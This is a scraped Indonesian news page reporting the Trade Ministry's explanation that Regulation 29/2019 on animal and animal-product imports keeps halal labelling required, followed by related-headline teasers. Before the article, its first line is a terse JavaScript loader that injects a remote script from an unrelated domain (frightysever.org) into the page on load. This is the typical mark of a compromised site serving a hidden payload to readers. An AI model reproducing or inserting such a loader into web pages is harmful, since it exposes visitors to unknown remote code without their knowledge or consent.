(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Kementerian Perdagangan (Kemendag) menerbitkan Peraturan Menteri Perdagangan (Permendag) Nomor 29 Tahun 2019 tentang Ketentuan Ekspor dan Impor Hewan dan Produk Hewan.
Dirjen Perdagangan Luar Negeri Kemendag Indrasari Wisnu Wardhana mengatakan, terjadi simpang-siur di publik yang mengira aturan ini tak mewajibkan impor hewan dan produk hewan tak wajib berlabel halal. Itu pun memunculkan pertentangan. Demikian dilansir detik.com.
Kesimpangsiuran tersebut karena membandingkan aturan baru tersebut dengan Permendag Nomor 59 Tahun 2016. Di Permendag ini diatur kewajiban label halal. Tapi ada kesalahan tafsir di mana yang diatur di Permendag 59 adalah peredarannya di dalam negeri bukan saat produk masuk ke Indonesia.
“Menjadi ramai karena ada teman-teman yang bandingkan Permendag 59/2016, disandingkan lah. Di sini memang ada satu pasal yang pasal 16. Padahal pasal ini hanya mengatur pada saat diperdagangkan di wilayah Indonesia. Jadi bukan pada saat pemasukan,” kata dia di kantornya, Senin (16/9).
Berdasarkan salinan aturan tersebut, Permendag 29 ditujukan untuk lebih meningkatkan efektivitas pelaksanaan kebijakan ekspor dan impor hewan dan produk hewan, maka Kemendag perlu melakukan pengaturan kembali ketentuan ekspor dan impor tersebut.
Dia menjelaskan, kewajiban label halal tak diatur dalam Permendag 29, sebenarnya ada persyaratan rekomendasi dari Peraturan Menteri Pertanian (Permentan). Permentan ini mewajibkan ketentuan halal. Artinya, lanjut dia sebenarnya tak ada perbedaan pada kedua aturan tersebut. Intinya label halal tidak dihilangkan.
“Kalau masuk harus sudah ada label halal. (Untuk produk) yang diwajibkan halal harus (berlabel) halal,” tambahnya.
Peraturan yang ditandatangani oleh Menteri Perdagangan (Mendag) Enggartiasto Lukita itu berisi 44 halaman. Di dalamnya berisi ketentuan mengenai jenis hewan dan produk hewan yang diatur ekspornya.
Tertera dalam Permendag 29 itu mengenai persetujuan ekspor dan impor hewan dan produk hewan. Ada sejumlah persyaratan yang wajib dipenuhi eksportir maupun importir untuk mendapat persetujuan.
Permendag ini juga mengatur mekanisme pembekuan persetujuan ekspor dan impor apabila ada hal-hal yang tidak dipenuhi oleh pihak yang mengajukan izin. Selain itu, lewat aturan ini, Kemendag juga bisa mencabut persetujuan ekspor dan impor. (toy/zlf/dtc)
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
This website uses cookies.